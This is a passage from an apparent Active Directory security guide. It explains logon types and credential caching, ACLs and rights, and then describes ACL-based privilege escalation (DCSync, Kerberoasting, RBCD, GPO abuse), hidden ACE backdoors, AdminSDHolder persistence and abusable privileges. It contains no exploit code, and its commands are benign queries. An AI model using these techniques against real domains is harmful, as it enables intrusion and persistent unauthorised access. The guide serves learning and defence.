\/>\n<a href=\"#interactive-logon\">Interactive Logon<\/a>.<\/p>\n<h4 id=\"networkcleartext-logon\">\nNetworkCleartext logon<\/h4>\n<p>In case of NetworkCleartext logon the password is<br \/>\nsent over the network to the target machine (in an encrypted communication).<br \/>\nThis logon type is used by Powershell remoting when CredSSP authentication is<br \/>\nspecified.<\/p>\n<blockquote><p>CredSSP performs a network authentication using NTLM or Kerberos and when a<br \/>\nencrypted channel is created, then it send the password to the target machine.<\/p><\/blockquote>\n<p>It should be noticed that credentials are cached in the target machine since<br \/>\nthey are sent in the communication.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">New-PSSession -Credential $(Get-Credential) -Authentication Credssp<\/code><\/pre><figcaption>\nNetworkCleartext logon with Powershell remoting<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"newcredentials-logon\">\nNewCredentials logon<\/h4>\n<p>The NewCredentials logon happens when using <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/cc771525(v=ws.11)\">runas<\/a> with the <code>\/netonly<\/code>. Then,<br \/>\nthe launched process will be use the credentials only for remote connections,<br \/>\nkeeping the current user session for local operations.<\/p>\n<p>The credentials are cached in the local lsass process in order to be used for<br \/>\nnetwork connections. Then, when the process requires it, it can perform<br \/>\nnetwork logons to access remote resources of the domain.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">runas \/netonly \/user:CONTOSOOtherUser cmd<\/code><\/pre><figcaption>\nPerform a NewCredentials logon with runas<br \/>\n<\/figcaption><\/figure>\n<p>The credentials are not checked until a network connection is done, but they<br \/>\nare cached when the <code>runas<\/code> command is executed, just like in the<br \/>\n<a href=\"#interactive-logon\">Interactive Logon<\/a> (except for Kerberos tickets, since they are retrieved when<br \/>\nthe credentials are checked). You must take this into account since this<br \/>\nmethod <strong>allows to cache fake credentials<\/strong> in the lsass process, and is<br \/>\nsometimes <a href=\"https:\/\/securitywa.blogspot.com\/2016\/04\/improve-detection-using-honeycreds.html\">used by the blue team to create honey credentials<\/a> in order to detect<br \/>\nattackers.<\/p>\n<h4 id=\"remoteinteractive-logon\">\nRemoteInteractive logon<\/h4>\n<p>The RemoteInteractive logon is used when you connect to a machine over <a href=\"#RDP\">RDP<\/a>.<br \/>\nRDP uses <a href=\"#cred-ssp\">CredSSP<\/a> for remote login so the password are sent over the network to<br \/>\nthe target machine and therefore credentials are cached in the remote lsass<br \/>\nprocess.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/rdp_client.png\" alt=\".\/rdp_client.png\" title=\".\/rdp_client.png\"><figcaption>\nRemoteInteractive logon using RDP<br \/>\n<\/figcaption><\/figure>\n<p>The authentication is similar to <a href=\"#network-logon\">Network Logon<\/a>, but the credentials are sent<br \/>\nto the target machine so they are cached as in the <a href=\"#interactive-logon\">Interactive Logon.<\/a><\/p>\n<p>To being able to log on a remote computer by using the RemoteInteractive<br \/>\nlogon your user need to be part of the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#bkmk-remotedesktopusers\">Remote Desktop Users<\/a> or having the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/allow-log-on-through-remote-desktop-services\">SeRemoteInteractiveLogonRight<\/a> right in the target machine.<\/p>\n<h2 id=\"authorization\">\nAuthorization<\/h2>\n<p>Once a client was able to resolve the target hostname and get authenticated,<br \/>\nthe target service\/program\/computer should be now aware about its permissions,<br \/>\nthat is, know the user username and SID, and the groups it belongs to. Once this<br \/>\ninformation is known, the program can decide if the user has enough privileges<br \/>\nto access to certain objects.<\/p>\n<h3 id=\"acls\">\nACLs<\/h3>\n<h4 id=\"security-descriptor\">\nSecurity descriptor<\/h4>\n<p>But, how is it possible to check if the user has access to an object? By<br \/>\nchecking its <a href=\"http:\/\/www.selfadsi.org\/deep-inside\/ad-security-descriptors.htm\">security descriptor<\/a>. In Active Directory, each object of the<br \/>\ndatabase has an associated <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/security-descriptors\">security descriptor<\/a> in its <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-ntsecuritydescriptor\">NTSecurityDescriptor<\/a><br \/>\nproperty. The security descriptor is stored in a <a href=\"https:\/\/www.gabescode.com\/active-directory\/2019\/07\/25\/nt-security-descriptors.html\">binary format<\/a>, but it can also<br \/>\nbe translated to a <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/security-descriptor-string-format\">Security Descriptor String Format<\/a>.<\/p>\n<p>The security descriptor contains the following security information:<\/p>\n<ul>\n<li>SID of <strong>principal<\/strong> that is the object owner<\/li>\n<li>SID of the owner <strong>primary group<\/strong><\/li>\n<li>(Optional) <strong>DACL<\/strong> (Discretionary Access Control List)<\/li>\n<li>(Optional) <strong>SACL<\/strong> (System Access Control List)<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; $(Get-ADUser mahyar -Properties nTSecurityDescriptor).nTSecurityDescriptor | select Owner,Gro\nup,Access,Audit | Format-List\nOwner  : CONTOSODomain Admins\nGroup  : CONTOSODomain Admins\nAccess : {System.DirectoryServices.ActiveDirectoryAccessRule, System.DirectoryServices.ActiveDirectoryAccessRule,\n         System.DirectoryServices.ActiveDirectoryAccessRule, System.DirectoryServices.ActiveDirectoryAccessRule...}\nAudit  :<\/code><\/pre><figcaption>\nGet security descriptor of user object<br \/>\n<\/figcaption><\/figure>\n<p>As you can see, there could be two ACL (Access Control List) in each security<br \/>\ndescriptor: DACL and SACL. An ACL is a list of ACEs (Access Control Entry). The<br \/>\nACEs of the SACL defines the access attempts that are going to <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/audit-generation\">generate logs<\/a>,<br \/>\nand they can be useful from a defensive perspective.<\/p>\n<p>However, the most important part is the DACL, that is usually present in all the<br \/>\nobjects, whose ACEs determines the users\/groups that can access to the object,<br \/>\nand the type of access that is allowed. Usually when someone refers to the<br \/>\nobject ACL, it means the DACL.<\/p>\n<h4 id=\"aces\">\nACEs<\/h4>\n<p>Each <a href=\"http:\/\/web.archive.org\/web\/20150907161422\/http:\/\/searchwindowsserver.techtarget.com\/feature\/The-structure-of-an-ACE\">ACE has several parts<\/a>:<\/p>\n<ul>\n<li><strong>ACE type<\/strong>: Specifies if the ACE is for allowing or denying access (or<br \/>\nlogging access in case of SACL).<\/li>\n<li><strong>Inheritance<\/strong>: Indicates if the ACE is inherited.<\/li>\n<li><strong>Principal\/Identity<\/strong>: Indicates the principal (user\/group) for which the<br \/>\nACE is applied. The principal SID is stored.<\/li>\n<li><strong>Rights<\/strong>: Indicates the type of access the ACE is applying.<\/li>\n<li><strong>Object type<\/strong>: A <a href=\"https:\/\/en.wikipedia.org\/wiki\/Universally_unique_identifier\">GUID<\/a> that indicates an extended right, property, or child<br \/>\nobject depending on the Access Mask flags. Is set to zero if not used.<\/li>\n<li><strong>Inheritance type<\/strong>: The type of object class that can inherit the ACE from<br \/>\nthis object.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; $(Get-ADUser mahyar -Properties nTSecurityDescriptor).nTSecurityDescriptor.Access[0]\nActiveDirectoryRights : GenericRead\nInheritanceType       : None\nObjectType            : 00000000-0000-0000-0000-000000000000\nInheritedObjectType   : 00000000-0000-0000-0000-000000000000\nObjectFlags           : None\nAccessControlType     : Allow\nIdentityReference     : NT AUTHORITYSELF\nIsInherited           : False\nInheritanceFlags      : None\nPropagationFlags      : None<\/code><\/pre><figcaption>\nACE of user account<br \/>\n<\/figcaption><\/figure>\n<p>Therefore, <strong>ACEs can be used to grant access, but also to restrict it<\/strong>. It should<br \/>\nbe note that in case a principal is both allowed and denied access by different<br \/>\nACEs, then the deny ACE has preference and the access is denied.<\/p>\n<p>On the other hand, <strong>ACEs can be inherit from parent objects<\/strong> of the database (OUs<br \/>\nand containers), and actually, most of the ACEs that apply to objects are<br \/>\ninherited. In case of a inherited access contradicts an explicit ACE (not<br \/>\ninherited), then the explicit ACE determines the access rule. Thus, the<br \/>\nprecedence is the following for ACEs:<\/p>\n<ol>\n<li>Explicit deny ACE<\/li>\n<li>Explicit allow ACE<\/li>\n<li>Inherited deny ACE<\/li>\n<li>Inherited allow ACE<\/li>\n<\/ol>\n<p>There is an special case that is not limited by ACEs, and is the object <strong>owner<\/strong>.<br \/>\nThe <strong>owner has implicit permission to modify the ACEs<\/strong> of an object (WriteDacl<br \/>\nright).<\/p>\n<p>Moreover, it must be also taken into account that in case of the security<br \/>\ndescriptor has no DACL (DACL set to NULL), everyone has any access to the<br \/>\nobject. However if the security descriptor has an empty DACL (no ACEs in the<br \/>\nDACL), then no one has access to the object.<\/p>\n<h4 id=\"rights\">\nRights<\/h4>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/990fb975-ab31-4bc1-8b75-5da132cd4584\">following rights<\/a> can be specified in a ACE:<\/p>\n<ul>\n<li><strong>Delete<\/strong>: Delete the object.<\/li>\n<li><strong>ReadControl<\/strong>: Read the security descriptor, except the SACL.<\/li>\n<li><strong>WriteDacl<\/strong>: Modify the object DACL in the security descriptor.<\/li>\n<li><strong>WriteOwner<\/strong>: Modify the object owner in the security descriptor.<\/li>\n<li><strong>CreateChild<\/strong>: Create child objects. For containers.<\/li>\n<li><strong>DeleteChild<\/strong>: Delete child object. For containers.<\/li>\n<li><strong>ListContents<\/strong>: List child objects. For containers. The object is hidden from<br \/>\nuser if this right nor ListObject are not granted.<\/li>\n<li><strong>ReadProperty<\/strong>: Read the property or <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/177c0db5-fa12-4c31-b75a-473425ce9cca\">property set<\/a> specified in object type.<br \/>\nIf object type is zero, then all properties can be read. It does not allow to<br \/>\nread the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/7c1cdf82-1ecc-4834-827e-d26ff95fb207\">confidential properties<\/a>.<\/li>\n<li><strong>WriteProperty<\/strong>: Modify the property specified in object type. If<br \/>\nobject type is zero, then all properties can be modified.<\/li>\n<li><strong>WritePropertyExtended<\/strong>: Execute a <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/20504d60-43ec-458f-bc7a-754eb64446df\">validated write<\/a>. Maybe the most interesting<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/validated-writes\">validated write<\/a> is the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-self-membership\">Self-Membership<\/a> for groups, that allows to add your<br \/>\ncurrent user to the group with the ACE.<\/li>\n<li><strong>DeleteTree<\/strong>: Delete all the child objects with a delete-tree operation.<\/li>\n<li><strong>ListObject<\/strong>: List the object. The object is hidden from user if this right<br \/>\nnor ListContents are not granted.<\/li>\n<li><strong>ControlAccess<\/strong>: Special permission that can be interpreted in many different<br \/>\nways, based on the object type. In case the object type is a GUID of a<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/e6685d31-5d87-42d0-8a5f-e55d337f47cd\">confidential property<\/a>, it gives permission to read it. If is the GUID of an<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/extended-rights\">extended right<\/a> registered in the database schema, then the right is given. In<br \/>\ncase the object type is null (GUID is all zeros) then all the extended rights<br \/>\nare granted.<\/li>\n<\/ul>\n<p>There are also some generic rights that encompass several rights:<\/p>\n<ul>\n<li><strong>GenericRead<\/strong>: ReadControl, ListContents, ReadProperty (all),<br \/>\nListObject.<\/li>\n<li><strong>GenericWrite<\/strong>: ReadControl, WriteProperty (all),<br \/>\nWritePropertyExtended (all).<\/li>\n<li><strong>GenericExecute<\/strong>: ReadControl, ListContents.<\/li>\n<li><strong>GenericAll<\/strong>: Delete, WriteDacl, WriteOwner, CreateChild,<br \/>\nDeleteChild, DeleteTree, ControlAccess (all), GenericAll, GenericWrite.<\/li>\n<\/ul>\n<p>There are many <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/extended-rights\">extended rights<\/a>, but here are ones of the most interesting:<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-user-force-change-password\">User-Force-Change-Password<\/a>: Change the user password without knowing the<br \/>\ncurrent password. For user objects. Do not confuse with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-user-force-change-password\">User-Change-Password<\/a><br \/>\nright, that requires to know the password to change it.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-ds-replication-get-changes\">DS-Replication-Get-Changes<\/a>: To replicate the database data. For the domain<br \/>\nobject. Required to perform dcsync.<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-ds-replication-get-changes-all\">DS-Replication-Get-Changes-All<\/a>: To replicate the database secret data. For the<br \/>\ndomain object. Required to perform dcsync.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministratorDownloads&gt; (Get-Acl 'AD:DC=contoso,DC=local').Access[49]\nActiveDirectoryRights : ExtendedRight\nInheritanceType       : None\nObjectType            : 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\nInheritedObjectType   : 00000000-0000-0000-0000-000000000000\nObjectFlags           : ObjectAceTypePresent\nAccessControlType     : Allow\nIdentityReference     : CONTOSODomain Controllers\nIsInherited           : False\nInheritanceFlags      : None\nPropagationFlags      : None<\/code><\/pre><figcaption>\nDS-Replication-Get-Changes-All right in domain<br \/>\n<\/figcaption><\/figure>\n<p>The previous example shows an ExtendedRight ACE, that gives<br \/>\nDS-Replication-Get-Changes-All in domain for the Domain Controllers group.<\/p>\n<p>As you can imagine, when someone says that the Domain Admins group has admin<br \/>\nprivileges in the domain, that means that is a group for which there are a lot<br \/>\nof ACEs in objects given a lot of rights, so you can assume that belonging to<br \/>\nthe Domain Admin group, you can perform a lot of privilege actions, but<br \/>\nultimately are the DACLs of the objects the ones that determines the power of a<br \/>\ngroup\/user.<\/p>\n<p>Apart from the database objects, in Windows machines, there are also many<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/securable-objects\">securable objects<\/a> that also are protected by local DACLs that are managed by the<br \/>\nlocal computer. Among these objects are the files\/directories, the processes,<br \/>\nregistry keys or services. But since the <code>Domain Admins<\/code> are added by default to<br \/>\nlocal <code>Administrators<\/code> group in the machines, is usual that a domain admin can<br \/>\naccess to any local object in a Windows computer. You can use tools like<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.security\/get-acl?view=powershell-7.1\">Get-Acl<\/a>, <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/icacls\">icacls<\/a> to check file ACLs.<\/p>\n<h4 id=\"acl-attacks\">\nACL attacks<\/h4>\n<p>Due to the huge amount of ACLs that can be in a domain, it can be complex to<br \/>\nmanage them. This can produce <a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/abusing-active-directory-acls-aces\">several misconfigurations<\/a> that could allow an<br \/>\nattacker to <a href=\"https:\/\/blog.fox-it.com\/2018\/04\/26\/escalating-privileges-with-acls-in-active-directory\/\">elevate privileges<\/a> in the domain, or even in the forest (remember<br \/>\nthat domains of the same forest are connected so you can add ACE refer to<br \/>\nprincipals of other domains). Let&#8217;s review some misconfigurations:<\/p>\n<ul>\n<li><strong>Change the user password<\/strong>: If you have User-Force-Change-Password or<br \/>\nGenericAll rights over an user object, you can take over the account by<br \/>\nsetting a new password.<\/li>\n<li><strong>Make user Kerberoasteable<\/strong>: If you can write an SPN in the<br \/>\n<strong>ServicePrincipalName<\/strong> property of an user then you can perform the <a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/t1208-kerberoasting\">Kerberoast<\/a><br \/>\nattack against that account and try to crack its password. To write an SPN<br \/>\nrequires you to have the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/r-validated-spn\">Validated-SPN<\/a> validated write with<br \/>\nWritePropertyExtended, or GenericWrite or GenericAll.<\/li>\n<li><strong>Execute malicious script<\/strong>: If you can modify the <code>ScriptPath<\/code> property of<br \/>\nan user, with WriteProperty, GenericWrite or GenericAll, then you can set a<br \/>\nmalicious file that is going to be execute the next time that the user logs<br \/>\non. You can use <a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/abusing-active-directory-acls-aces#genericwrite-on-user\">an UNC path to point to a share<\/a>. You may also require to<br \/>\nenable the <strong>SCRIPT<\/strong> flag of the UserAccountControl property.<\/li>\n<li><strong>Add users to group<\/strong>: If you can modify the <strong>members<\/strong> property of a group, with<br \/>\nWriteProperty, GenericWrite or GenericAll, then you can add any member to the<br \/>\ngroup. If you have the right for Self-Membership, you can add your current<br \/>\nuser to that group.<\/li>\n<li><a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution\">Kerberos RBCD attack<\/a>: If you can modify the<br \/>\n<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> of a computer account, with<br \/>\nWriteProperty, GenericWrite or GenericAll, then you enable Kerberos Resource<br \/>\nBased Constrained Delegation for another user to the computer services and<br \/>\nfinally get access as admin to the computer.<\/li>\n<li><a href=\"https:\/\/adsecurity.org\/?p=3164\">LAPS password<\/a>: If you can read the <strong>ms-Mcs-AdmPwd<\/strong> computer<br \/>\nconfidential property used by LAPS to store the machine local administrators<br \/>\npassword, then you could read it an access as local admin to the machine. You<br \/>\ncan identify the use of LAPS in a machine by checking if the<br \/>\n<strong>ms-Mcs-AdmPwdExpirationTime<\/strong> property exists in its computer account.<\/li>\n<li><a href=\"https:\/\/adsecurity.org\/?p=1729\">DCSync attack<\/a>: If you have the <code>DS-Replication-Get-Changes<\/code> and<br \/>\n<code>DS-Replication-Get-Changes-All<\/code> extended rights over the domain object, then<br \/>\nyou can perform a DCSync attack to dump the database contents.<\/li>\n<li>GPO abuse: If you can modify the <code>GPC-File-Sys-Path<\/code> of a<br \/>\n<a href=\"#group-policy-container\">Group Policy Container<\/a> with WriteProperty, GenericWrite or GenericAll, then<br \/>\nyou can modify the GPO and perform code execution in the computers affected by<br \/>\nthe GPO.<\/li>\n<li><strong>Modify ACLs<\/strong>: If you have the WriteDacl right (or GenericAll), then you can<br \/>\ncreate ACE to give any right in the object and perform some of the previous<br \/>\nattack. Also, if you have the WriteOwner right, since the owner object has<br \/>\nimplicit WriteDacl right, you can change the object owner to your user and<br \/>\nthen modify ACLs.<\/li>\n<\/ul>\n<p>Besides the possibilities of elevating privileges, ACLs can be also pretty<br \/>\nuseful and stealthy if you want to <a href=\"https:\/\/www.specterops.io\/assets\/resources\/an_ace_up_the_sleeve.pdf\">create backdoors<\/a> to keep your access in the<br \/>\nnetwork. In order to create backdoors there are a few tricks about hiding the<br \/>\nmalicious ACEs described in the <a href=\"https:\/\/www.specterops.io\/assets\/resources\/an_ace_up_the_sleeve.pdf\">An ACE Up the Sleeve<\/a> whitepaper written by the<br \/>\nspecterops team that you should check.<\/p>\n<h5 id=\"adminsdholder\">\nAdminSDHolder<\/h5>\n<p>However, maybe one the most interesting persistence tricks is to modify the<br \/>\n<strong>AdminSDHolder<\/strong> object. AdminSDHolder is an special object in the database whose<br \/>\nDACL is used as template for the security descriptor of privileged principals.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject 'CN=AdminSDHolder,CN=system,DC=contoso,DC=local'\nDistinguishedName                              Name          ObjectClass ObjectGUID\n-----------------                              ----          ----------- ----------\nCN=AdminSDHolder,CN=system,DC=contoso,DC=local AdminSDHolder container   7f34e8a5-ffbd-474a-b436-1e02b7b49984<\/code><\/pre><figcaption>\nThe AdminSDHolder object<br \/>\n<\/figcaption><\/figure>\n<p>Every 60 minutes, the SDProp (Security Descriptor Propagator) examines the<br \/>\nsecurity descriptor of these privileged principals, and replace their DACL with<br \/>\na copy of AdminSDHolder DACL (if they differ). This is done in order to prevent<br \/>\nmodifications on the DACLs of these principals, but if you are<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=1906\">able to add custom ACEs<\/a> to the AdminSDHolder DACL, then these new ACEs will also<br \/>\nbeing applied to the protected principals.<\/p>\n<p>By default the following principals are &#8220;protected&#8221; by AdminSDHolder:<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#account-operators\">Account Operators<\/a><\/li>\n<li>Administrator<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#administrators\">Administrators<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#backup-operators\">Backup Operators<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#domain-admins\">Domain Admins<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#domain-controllers\">Domain Controllers<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#domain-guests\">Domain Guests<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#enterprise-admins\">Enterprise Admins<\/a><\/li>\n<li><a href=\"Enterprise Key Admins\">Enterprise Key Admins<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#enterprise-read-only-domain-controllers\">Enterprise Read-Only Domain Controllers<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#key-admins\">Key Admins<\/a><\/li>\n<li>krbtgt<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#print-operators\">Print Operators<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#enterprise-read-only-domain-controllers\">Read-only Domain Controllers<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#replicator\">Replicator<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#schema-admins\">Schema Admins<\/a><\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/active-directory-security-groups#server-operators\">Server Operators<\/a><\/li>\n<\/ul>\n<h3 id=\"privileges\">\nPrivileges<\/h3>\n<p>If you are familiar with the Windows platform, probably you know about the user<br \/>\nprivileges, that allow the users to perform actions bypassing the ACLs of the<br \/>\nobjects. For example, the SeDebugPrivilege in a Windows machine allows to<br \/>\nread\/write in any process memory of the machine even if you don&#8217;t have rights.<\/p>\n<p>In Active Directory, <a href=\"https:\/\/adsecurity.org\/?p=3700\">some privileges can be also abused<\/a> (mainly in the Domain<br \/>\nControllers):<\/p>\n<dl>\n<dt>\nSeEnableDelegationPrivilege<\/dt>\n<dd><a href=\"http:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> must be set in the<br \/>\nDomain Controller for an user (is a local privilege) and then it allows to<br \/>\nmodify the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/86261ca1-154c-41fb-8e5f-c6446e77daaa\">msDS-AllowedToDelegateTo<\/a> property of users and the<br \/>\n<strong>TRUSTED_FOR_DELEGATION<\/strong> and <strong>TRUSTED_TO_AUTH_FOR_DELEGATION<\/strong> flags from the<br \/>\nUserAccountControl property. In other words, SeEnableDelegationPrivilege<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/enable-computer-and-user-accounts-to-be-trusted-for-delegation\">allows to control the Kerberos Unconstrained and Constrained Delegation<\/a><br \/>\noptions of the domain, which could be used by an attacker to escalate<br \/>\nprivileges. By default is only given to the Administrator account.<\/dd>\n<dt>\nSeBackupPrivilege<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/back-up-files-and-directories\">backup privilege<\/a> allows to read any file of a domain<br \/>\ncontroller, in order to backup it, which could be used to read the domain<br \/>\ndatabase. By default is given to <strong>Backup Operators<\/strong>, <strong>Server Operators<\/strong> and<br \/>\n<strong>Administrators<\/strong> groups.<\/p>\n<p>The privilege is only effective when using the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/backup\/backup-reference\">NTFS backup API<\/a>, that can be<br \/>\naccessed through the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/wbadmin\">wbadmin<\/a> utility or <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/windowsserverbackup\/?view=windowsserver2019-ps\">Powershell WindowsServerBackup<\/a> (both<br \/>\nrequire the <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/jj614621(v=ws.11)\">Windows Server Backup<\/a> feature). You can also use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/reg-save\">reg save<\/a> to<br \/>\n<a href=\"#dumping-registry-credentials\">access to the SAM and LSA secrets<\/a>.<\/dd>\n<dt>\nSeRestorePrivilege<\/dt>\n<dd>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/restore-files-and-directories\">restore privilege<\/a> allows to write any file on the<br \/>\ndomain controller from a backup. This could allow an attacker to modify the<br \/>\ndatabase of the domain. By default is given to <strong>Backup Operators<\/strong>, <strong>Server<br \/>\nOperators<\/strong> and <strong>Administrators<\/strong> groups.<\/p>\n<p>You can use this privilege to <a href=\"https:\/\/github.com\/hatRiot\/token-priv\/blob\/master\/poptoke\/poptoke\/SeRestorePrivilege.cpp\">modify registry keys and achieve privileged<br \/>\ncommand execution<\/a>.<\/dd>\n<\/dl>\n<dl>\n<dt>\nSeTakeOwnershipPrivilege<\/dt>\n<dd>With the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/take-ownership-of-files-or-other-objects\">take ownership privilege<\/a>, you can take<br \/>\nthe <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/securable-objects\">ownership of securable objects<\/a>  of the machine, like files, processes or<br \/>\nregistry keys. The owner of the object can always modify the permissions of<br \/>\nthe object (WriteDacl). For example, you can use the <a href=\"https:\/\/github.com\/hatRiot\/token-priv\/blob\/7cd22e35a4ec4597aa9749985780fd491d9af30a\/poptoke\/poptoke\/SeTakeOwnershipPrivilege.cpp#L31\">SetNamedSecurityInfo<\/a> API<br \/>\ncall to take the ownership of the object.<\/p>\n<p>How can I take ownership of Active Directory database objects???<\/dd>\n<\/dl>\n<p>Apart from the privileges used in the domain, is also useful to be aware of the<br \/>\n<a href=\"https:\/\/foxglovesecurity.com\/2017\/08\/25\/abusing-token-privileges-for-windows-local-privilege-escalation\/\">dangerous privileges<\/a> that can be useful for elevate privileges in a Windows<br \/>\nmachine. Commonly the following are used:<\/p>\n<dl>\n<dt>\nSeDebugPrivilege<\/dt>\n<dd>The user can debug any process in the machine, so<br \/>\nit can inject code in any process, which could lead to privilege<br \/>\nescalation, or read the memory of the process, that allows to read, for<br \/>\nexample, the lsass process secrets of users logged on the machine (you can use<br \/>\n<a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\">mimikatz<\/a>).<\/dd>\n<dt>\nSeImpersonatePrivilege<\/dt>\n<dd>The user can acquire <a href=\"https:\/\/github.com\/hatRiot\/token-priv\/blob\/master\/abusing_token_eop_1.0.txt#L155\">security tokens<\/a> of other users<br \/>\nin the machine. If the impersonation token level is SecurityDelegation, then<br \/>\nthe user can use that token to impersonate the target user in other machines<br \/>\nof the domain (SecurityDelegation tokens are associated with user credentials<br \/>\nlike Kerberos tickets that can be used in network connections). If the<br \/>\nimpersonation token level is SecurityImpersonation, then the target user only<br \/>\ncan be impersonated in the local machine (useful for privilege escalation).<\/p>\n<p>The SeImpersonatePrivilege is given to the &#8220;NT 